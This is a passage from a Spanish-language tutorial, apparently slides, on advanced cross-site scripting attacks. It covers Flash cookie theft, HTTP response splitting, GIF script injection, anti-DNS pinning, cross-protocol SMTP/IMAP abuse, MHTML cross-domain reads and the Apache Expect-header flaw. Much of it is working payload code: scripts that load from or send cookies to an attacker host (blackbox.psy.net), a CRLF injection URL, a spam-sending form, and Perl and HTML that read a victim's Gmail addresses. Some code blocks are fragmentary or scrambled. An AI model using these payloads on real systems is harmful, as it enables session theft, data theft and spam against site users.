src='http://blackbox.psy.net/flashattack/cookies/cook_stealer.swf'></script>","_self");

3) Subimos el fichero (cook_stealer.swf) con la inyección a la página vulnerable

Cuando las posibles víctimas visiten el documento en -Flash- enviarán su cookie de sesión a un servidor remoto controlado por el atacante.

El ataque “Induced” XSS es un tipo de inyección de código que se ejecuta en el contexto del servidor. También es conocido como HTTP Response Splitting.

Un atacante puede cambiar el contenido HTML completo de una página web a través de la manipulación de las cabeceras HTTP de las respuestas del servidor. Para ello, envia una sola petición HTTP que obliga al servidor web a crear un -stream- de salida que es interpretado por la victima como dos respuesta, en vez de una sola (splitting). (Mozilla: Live HTTP/Tamper)

La primera petición del atacante se utilizada para inyectar el código XSS e invocar las "dos respuestas" del servidor. La segunda petición se utiliza para "camuflar" la primera, generalmente con un link válido de la página web.

Es posible realizar HTTP Responde Splitting en los servidores que -embeben- scripts con datos de usuario en las respuestas de sus cabeceras HTTP, por ejemplo para realizar redirecciones (Location HTTP) o establecer el valor de las cookies (Set-Cookie HTTP).

La técnica llevada a cabo de forma correcta permite hacer ataques más sofisticados que el XSS:

- Web cache poison: forzar al servidor a guardar en la cache la petición inyectada.

El servidor tiene un -script- (redir_lang.jsp) en JSP que redirecciona a los usuarios a un página web determinada según el idioma que eligan. Utiliza por ejemplo el siguiente código:

&lt;% response.sendRedirect("/lang.jsp?lang="+ request.getParameter("lang")); %&gt;

Cuando el usuario hace una petición de un idioma determinado (lang=Ingles), el servidor le redirecciona a la selección correcta.

El servidor solamente acepta (“es”/”en”) como -entradas- válidas para el idoma, por tanto la cabecera queda:

HTTP/1.x 302 Movido temporálmente Date: Tue, 11 Jul 2009 15:59:33 GMT

Location: http://www.xxxxx.com/lang.jsp?lang=Ingles Server: Server: Apache-Coyote/1.1

Content-Type: text/html;charset=ISO-8859-1

Set-Cookie: usc_lang=3; Expires=Thu, 22-Oct-2009 15:59:33 GMT Connection: Close

[....]

.:Induced XSS :.

Además trata de dar una “solución” al usuario insertando la página web que “debería” solicitar.

El mensaje suele ser similar al siguiente:

302 Moved Temporarily

This document you requested has moved temporarily. It's now at http://www.xxxxx.com/lang.jsp?lang=en

Eso significa que el parámetro “lang” es -embebido- en la cabezara “Location” de las HTTP headers. Lo que puede dar lugar a que un atacante trate de modificarlas.

Hacemos caso y seguimos la “recomendación” (hacemos click en el link) ;)

Ahora la idea es crear nuestra respuesta HTTP mediante -Splitting-. Para ello vamos a realizar una petición al -script- (redir_lang.jsp) con una inyección que utilice codificación CRLF

A través de una serie de caracteres “cerraremos” la primera respuesta del servidor y “abriremos” una nueva justo después (2 respuestas en 1 == HTTP Splitting):

Inyectamos el código directamente en la URL del script (redir_lang.jsp):

http://www.xxxxx.com/redir_lang.jsp?lang=foobar%0d%0aContent- Length:%200%0d%0a%0d %0aHTTP/1.1%20200%20OK%0d%0aContent- Length:%2019%0d%0a%0d

%0a&lt;html&gt;SCG-09&lt;/html&gt;

Observamos la respuesta del servidor:

HTTP/1.x 302 Movido temporálmente Date: Tue, 11 Jul 2009 14:07:11 GMT

Location: http://www.xxxxx.com/lang.jsp?lang=foobar Content-Length: 0 HTTP/1.1 200 OK Content-Length: 19 &lt;html&gt;SCG-09&lt;/html&gt;

Server: Server: Apache-Coyote/1.1

Content-Type: text/html;charset=ISO-8859-1

Set-Cookie: usc_lang=3; Expires=Thu, 22-Oct-2009 15:59:33 GMT Connection: Close

Como veamos se ha producido un -split-

Ha tomado por válida la inyección (OK) y ha seguido con el resto de la cabecera, inyectando una página en HTML con el texto SCG-09.

.:Image Scripting :.

El ataque Image Scripting; es un tipo de inyección de código que se ejecuta a través de la lectura de los parámetros binarios de una imagen que hace el servidor. En ocasiones el desarrollador no filtra correctamente y puede permitir que un atacante realice un XSS. Por ejemplo, el atacante crea una imagen cualquiera con formato GIF (psy.gif)

Abre la imagen con un editor de texto

Borra el contenido (binarios) e inserta el código malicioso de la siguiente manera:

GIF89a<script>alert("XSS")</script>

A continuación sube la imagen a un servidor bajo su control (o un alojamiento público)

Si las victimas utilizan Internet Explorer y visitan la imagen, ejecutarán en segundo plano la inyección de código en su navegador. Por ejemplo, el atacante puede ver las urls visitadas.

GIF89a<script src="http://blackbox.psy.net/urls_visited1.js"></script>

En el caso de que la imagen tenga otro formato:

.:anti-DNS Pinning :.

Para entender el DNS "Pinning" es preciso conocer como funciona el Sistema de Nombres de Dominio (DNS).

Cuando un usuario solicita una página web al navegador, el DNS convierte la URL (Uniforme Resource Locator) en una dirección numérica.

Durante el proceso, un fichero local es revisado para ver si se trata de una -entrada- estática.

En Win32: C:\WINDOWS\system32\drivers\etc\hosts

En *Nix: /etc/hosts

Si la dirección solicitada no existe, la información es utilizada para redireccionar al navegador.

Dns "Pinning" es cuando un navegador -cachea- la dirección IP de un host para mantener la "vida" de una sesión, utilizando TTL's.

Por tanto, si un usuario tiene el Time To Live en 20 segundos, el DNS "Pinning" del navegador salvará la información hasta que el navegador sea reiniciado.

.:anti-DNS Pinning :.

1.- La víctima conecta a www.sitiomaligno.com (222.222.222.222) con un TTL de 1 sg. 2.- El navegador de la víctima procesa el código -javascript- que le “obliga” a conectarse a

www.sitiomaligno.com en 2 segundos.

3.- www.sitiomaligno.com se encuentra configurado con el uso del firewall de manera que no pueda ser accesible por la víctima.

4.- El navegador de la víctima comienza el proceso de "Dns Pinning"

5.- El navegador de la víctima se conecta al servidor DNS y “pregunta” donde se encuentra realmente www.sitiomaligno.com

6.- El servidor DNS responde con la IP 111.111.111.111 que es una web cualquiera (www.ejemplo.com)

7.- El navegador de la víctima conecta a 111.111.111.111 y envía la siguiente cabecera

GET / HTTP/1.0

Host: www.sitiomaligno.com

User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept: */*

[...]

8.- El navegador de la víctima lee los datos de la cabecera y envía la respuesta a www2.sitiomaligno.com en la dirección 333.333.333.333

.:anti-DNS Pinning :.

Por ejemplo, si la web que contiene 111.111.111.111 tiene una zona de intranet (intranet.ejemplo.com) que apunta a 10.10.10.10 (RFC1918), un atacante puede poner como "objetivo" zonas internas de un servidor web supuestamente inaccesibles. Es decir, el atacante puede "obligar" a un usuario a leer páginas Web de direcciones internas en las que nunca podría entrar por si mismo.

Si el servidor -parsea- la cabecera "Host" sería posible evitar dicha técnica.

Sin embargo, Amit Klien publicó en un email una técnica para hacer un "bypass" a dicho examen. (Circumventing Anti-anti-DNS Pinning).

Para ello utiliza XMLHTTPRequest para hacer -spoofing- de la cabecera "Host" en Internet Explorer 6.0.

<SCRIPT>

var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.sitiomaligno.com/\tHTTP/1.0\r\nHost:\twww.ejemplo.com\r\n\r\n", "http://www.sitiomaligno.com/",false);

x.send();

alert(x.responseText); </SCRIPT>

.:anti-DNS Pinning :.

Adore Reader (7.x y anteriores) tiene una vulnerabilidad que permite la inyección de código XSS.

http://www.ejemplo.com/ejmplofichero.pdf#blah=javascript:alert("XSS");

Suponiendo que el navegador de la víctima utiliza “Firefox” u “Opera” con una versión vulnerable. Podemos ver el ejemplo de "bypass", con el siguiente escenario:

1.- Un atacante quiere ejecutar un XSS en el servidor ejemplo.com para robar la cookie de una víctima.

2.- El administrador de ejemplo.com protege un PDF de ser descargado de forma directa (usando un único token de sesión)

3.- La víctima visita la web del atacante sitiomaligno.com (222.222.222.222)

4.- El atacante utiliza XMLHTTPRequest para decir al navegador de la víctima que visite sitiomaligno.com en unos segundos y que "termine" la entrada DNS al hacerlo.

5.- El navegador de la víctima se conecta a sitiomaligno.com pero se encuentra "down" (el atacante tiene cerrado el puerto)

.:anti-DNS Pinning :.

6.- El navegador no encuentra a 222.222.222.222 y comienza el DNS Pinning para preguntar al servidor DNS del atacante por la nueva IP de sitiomaligno.com

7.- El servidor DNS del atacante, contesta que se encuentra en 111.111.111.111 (ejemplo.com)

8.- El navegador de la víctima se conecta a 111.111.111.111 y lee el "token" que protegue el PDF y envia la info a sitiomaligno2.com

9.- El atacante lee la info del "token" y "obliga" al navegador de la víctima a visitar ejemplo.com

(La cookie de la víctima aún no ha sido comprometida porque se encuentra en un sitio diferente al que busca)

11.- La víctima se conecta al servidor ejemplo.com con el "token" correcto para ver el PDF

12.- La víctima ejecuta el código malicioso que afecta a Adobe Reader en el contexto de la web ejemplo.com y que envía su cookie a sitiomaligno2.com

.:IMAP3 XSS :.

Es posible realizar un inyección de código a través del servicio IMAP3 mediante un XSS “reflejado” (combinando ambas técnicas - Wade Alcorn 2006).

Incluso si el servidor web objetivo no contiene ningún tipo de contenido dinámico, puede ser "explotado" a través del servicio IMAP3 (Internet Message Access Protocol 3) si éste se encuentra en el mismo dominio.

Ejemplo de envio de SPAM a través del puerto SMTP de cualquier servidor que lo permita:

<form method="post" name=f action="http://www.ejemplo.com:25" enctype="multipart/form-data"> <textarea name="foo"> HELO example.com MAIL FROM:<[email protected]> RCPT TO:<[email protected]> DATA

Subject: Hi there!

.:IMAP3 XSS :.

</form> <script>

document.f.s.click(); </script>

El servidor devuelve la siguiente respuesta:

220 mail.ejemplo.org ESMTP Hi there! 500 Command unrecognized

500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized 500 Command unrecognized

250 mail.ejemplo.org Hello example.com [111.111.111.111] 250 <[email protected]> is syntactically correct 250 <[email protected]> is syntactically correct 354 Enter message, ending with "." on a line by itself 250 OK id=15IYAS-00073G-00

221 mail.ejemplo.org closing connection

.:IMAP3 XSS :.

Un atacante pude enviar un email en su nombre sin necesidad de obtener respuestas del servidor. Aunque como hemos visto, no puede obtener los datos de forma correcta porque no se encuentran bien “formateados” (500 Command unrecognized).

Un ejemplo de petición normal es:

POST /localhost HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,

POST /localhost HTTP/1.0

POST BAD Command unrecognized/login please: /LOCALHOST Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg

Accept: BAD Command unrecognized/login please: IMAGE/GIF,

En el ejemplo, causamos un error de protocolo en el navegador ya que el servidor espera unos parámetros determinados.

A través de la técnica descrita por Jochen’s en el “paper” SMTP hacking, podemos tratar de “construir” los parámetros necesarios utilizando formularios con codificación Multi-Part y así evitar el error: 500 Command unrecognized

.:IMAP3 XSS :.

<script>

var target_ip = '111.111.111.111'; var target_port = '220';

IMAP3alert(target_ip, target_port); function IMAP3alert(ip, port) {

var form_start = '<FORM name="multipart" '; form_start += 'id="multipart" action="http://'; form_start += ip + ':' + port;

form_start += '/formulariocorreo.html" '; form_start += 'type="hidden" ';

form_start += 'enctype="multipart/form-data" '; form_start += 'method="post"> ';

form_start += '<TEXTAREA NAME="commands" ROWS="0" COLS="0">'; var form_end = '</TEXTAREA></FORM>';

cmd = "<scr"+"ipt>alert(document.body.innerHTML)</scr"+"ipt>\n"; cmd += 'a002 logout' + "\n";

document.write(form_start); document.write(cmd); document.write(form_end); document.multipart.submit(); } </script>

.:MHTML XSS :.

MHTML es un protocolo de integración entre Outlook e Internet Explorer. Permite a un usuario utilizar su buzón de correo en caso de encontrar un link de email mientras navega por la web.

El ataque MHTML funciona de la siguiente manera:

1.- La víctima vista una página web controlada por el atacante, que le permite a éste realizar redirecciones y XMLHTTPRequests.

2.- El navegador del usuario -renderiza- las peticiones XMLHTTPRequest del atacante, las cuales le preguntan si tiene el protocolo MHTML activo para realizar una redirección a, por ejemplo:

http://blackbox.psy.net/mhtml.cgi?target=https://www.google.com/accounts/EditSecureUserInfo

3.- Si lo tiene activo, la UR L le redireccionará a una "dirección" de tipo MHTML

(mhtml:http://http://blackbox.psy.net/mhtml.cgi?

www.google.com/searchq=test&rls=org.mozilla:en-ES:official)

4.- Esa URL final redireccionará a la víctima donde el atacante quiera. El navegador leerá la -salida- MHTML como si se tratara del mismo dominio que la primera, permitiendo un "salto" a través de los dominios.

.:MHTML XSS :.

El código inyectado solamente comienza a leerse después de la segunda línea (el resto viaja en las cabeceras). Además debe cumplirse otro requisito, y es que el atacante debe conocer la URL que debe enviar al atacante con antelación para que funcione. Y eso significa que debe ser visible por la víctima.

El siguiente código en -perl- escrito por Rsnake explica la vulnerabilidad:

#!/usr/bin/perl use strict;

my $restricted = 1; #restrict this to particular domains

my $location = "http://ha.ckers.org/weird/mhtml.cgi"; #where this script is located.

#stuff you may want to limit your users to visiting my %redirects = (

'http://www.google.com/search?q=test&rls=org.mozilla:en-US:official' => 1, 'http://www.yahoo.com/' => 1,

'https://www.google.com/accounts/ManageAccount' => 1,

'http://news.google.com/nwshp?ie=UTF-8&hl=en&tab=wn&q=' => 1, 'https://www.google.com/accounts/EditSecureUserInfo' => 1,

'https://boost.loopt.com/loopt/sess/secureKey.ashx' => 1, 'http://ha.ckers.org/weird/asdf.cgi' => 1,

.:MHTML XSS :.

$ENV{QUERY_STRING} =~ s/^target=/target2=/; print "Content-Type: text/javascript\n\n";

print <<EOHTML; var request = null;

request = new XMLHttpRequest(); if (!request) {

request = new ActiveXObject("Msxml2.XMLHTTP"); }

if (!request) {

request = new ActiveXObject("Microsoft.XMLHTTP"); }

var result = null;

request.open("GET", "$location?$ENV{QUERY_STRING}", false); request.send(null);

result = request.responseText; EOHTML

} elsif ($ENV{QUERY_STRING}) {

if ($ENV{QUERY_STRING} =~ m/^target2=/) {

$ENV{QUERY_STRING} =~ s/^target2=/mhtml:$location?/; print "Location: $ENV{QUERY_STRING}\n\n";

#might want to add rand() back in here to prevent caching

} elsif (($restricted == 0) || ($redirects{$ENV{QUERY_STRING}})) { print "Location: $ENV{QUERY_STRING}\n\n";

} else {

.:MHTML XSS :.

Este es el código que genera el atacante para el “hack” MHTML:

<html> <head>

<title>Mhtml Internet Explorer Hack</title> <html>

<body>

<h1>Mhtml Internet Explorer Hack</h1>

<p><A HREF=”http://ha.ckers.org/”>Ha.ckers.org home</a> <p>Internet Explorer Only! Tested on WinXP.</p>

<p><noscript><B>Please turn JavaScript on.</B></noscript></p> </div>

</head> <body>

<p>This demonstrates the mhtml bug in MSIE 7.0. Make sure you modify mhtml.cgi to have the correct path of your script. Also, make sure you don't put the "http://"

in your target, as that will simply redirect you. The result is written into the

"result" variable, which can be used however you see fit. You can download this sample and the cgi demo <A HREF=”http://ha.ckers.org/weird/mhtml.zip”>here</A>. Here is the syntax:</p>

<DIV ALIGN=”center”><textarea cols=”45” rows=”3”>&lt;script

US:official"&gt;&lt;/script&gt;

.:MHTML XSS :.

El siguiente código funciona si la víctima utiliza IE 7.0, está logueado en “Gmail” y tiene activada la ejecución de código -javascript-:

<script

src=”mhtml.cgi?target=https://www.google.com/accounts/EditSecureUserInfo”></script> <script>

var a = /([\w\._-]*@[\w\._-]*)/g; var arry = result.match(a); if (arry) {

document.write("Your Gmail Email Address: <B>" + arry[0] + "</B><BR>"); document.write("Your Real Email Address: <B>" + arry[1] + "</B><BR>");

} else {

document.write("<B>It appears you may not be logged into Gmail<B><BR>"); } </script> </p> </div> </body> </html>

.:Expect Vulnerability :.

La vulnerabilidad fue descubierta por Thiago Zaninotti (2006). Afecta al Apache HTTP Server y se aprovecha de la forma en la que el servidor muestra determinados errores.

Aunque ya hace años que ha sido reparada, aún es posible encontrar servidores antiguos a los que les afecta (Apache 1.3.35, 2.0.58 y 2.2.2 entre otros).

El atacante ejecutará el siguiente código a través de un terminal:

$ telnet www.tiendavirtual.com 80 Trying XXX.XXX.XXX.XXX... Connected to tiendavirtual.com. Escape character is '^]'.

GET / HTTP/1.0

Expect: <script>alert("XSS")</script>

Vemos la respuesta del servidor con respecto a la petición:

HTTP/1.1 417 Expectation Failed

Date: Wed, 28 Mar 2007 20:48:19 GMT Server: Apache

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD>

<TITLE>417 Expectation Failed</TITLE> </HEAD>

<BODY>

<H1>Expectation Failed</H1>

The expectation given in the Expect request-header field could not be met by this server.<P>

The client sent<PRE>

Expect: <script>alert("XSS")</script> </PRE>

but we only allow the 100-continue expectation. </BODY></HTML>

Connection closed by foreign host.